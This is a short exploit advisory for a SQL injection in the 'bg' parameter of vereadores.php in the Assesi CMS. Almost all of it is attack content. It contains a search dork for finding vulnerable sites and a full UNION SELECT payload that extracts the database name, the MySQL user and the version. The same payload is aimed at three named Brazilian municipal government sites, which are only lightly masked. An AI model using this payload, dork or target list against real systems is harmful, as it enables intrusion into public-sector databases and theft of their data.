[+] Sql Injection on CMS Assesi
[+] Date: 01/06/2014
[+] CWE Number : CWE-89
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://assesi.com.br/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: vereadores.php
[+} Dork : intext:Assesi - Assessoria e Sistemas + vereadores.php
[+] Exploit : http://host/vereadores.php?bg=[SQL Injection]
/vereadores.php?bg=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,group_concat(0x3c666f6e7420636f6c6f723d7265643e496e6a657461646f20706f722046656c69706520416e647269616e20506569786f746f3c666f6e743e,0x3c62723e3c666f6e7420636f6c6f723d626c75653e43757272656e742044423a3c666f6e743e,database(),0x3c62723e3c666f6e7420636f6c6f723d7265643e5573657220646f204d5953514c3a3c666f6e743e,user(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e56657273696f6e3a3c666f6e743e,version(),0x3a,0x3a,@@version_comment),11,12,13,14,15,16--
[+] PoC: http://camaraXboaviagem.ce.gov.br/vereadores.php?bg=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,group_concat(0x3c666f6e7420636f6c6f723d7265643e496e6a657461646f20706f722046656c69706520416e647269616e20506569786f746f3c666f6e743e,0x3c62723e3c666f6e7420636f6c6f723d626c75653e43757272656e742044423a3c666f6e743e,database(),0x3c62723e3c666f6e7420636f6c6f723d7265643e5573657220646f204d5953514c3a3c666f6e743e,user(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e56657273696f6e3a3c666f6e743e,version(),0x3a,0x3a,@@version_comment),11,12,13,14,15,16--
http://www.caXmaraguaramiranga.ce.gov.br/vereadores.php?bg=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,group_concat(0x3c666f6e7420636f6c6f723d7265643e496e6a657461646f20706f722046656c69706520416e647269616e20506569786f746f3c666f6e743e,0x3c62723e3c666f6e7420636f6c6f723d626c75653e43757272656e742044423a3c666f6e743e,database(),0x3c62723e3c666f6e7420636f6c6f723d7265643e5573657220646f204d5953514c3a3c666f6e743e,user(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e56657273696f6e3a3c666f6e743e,version(),0x3a,0x3a,@@version_comment),11,12,13,14,15,16--
http://cmitaXpaje.ce.gov.br/vereadores.php?bg=10+and+1=2+union+select+1,2,3,4,5,6,7,8,9,group_concat(0x3c666f6e7420636f6c6f723d7265643e496e6a657461646f20706f722046656c69706520416e647269616e20506569786f746f3c666f6e743e,0x3c62723e3c666f6e7420636f6c6f723d626c75653e43757272656e742044423a3c666f6e743e,database(),0x3c62723e3c666f6e7420636f6c6f723d7265643e5573657220646f204d5953514c3a3c666f6e743e,user(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e56657273696f6e3a3c666f6e743e,version(),0x3a,0x3a,@@version_comment),11,12,13,14,15,16--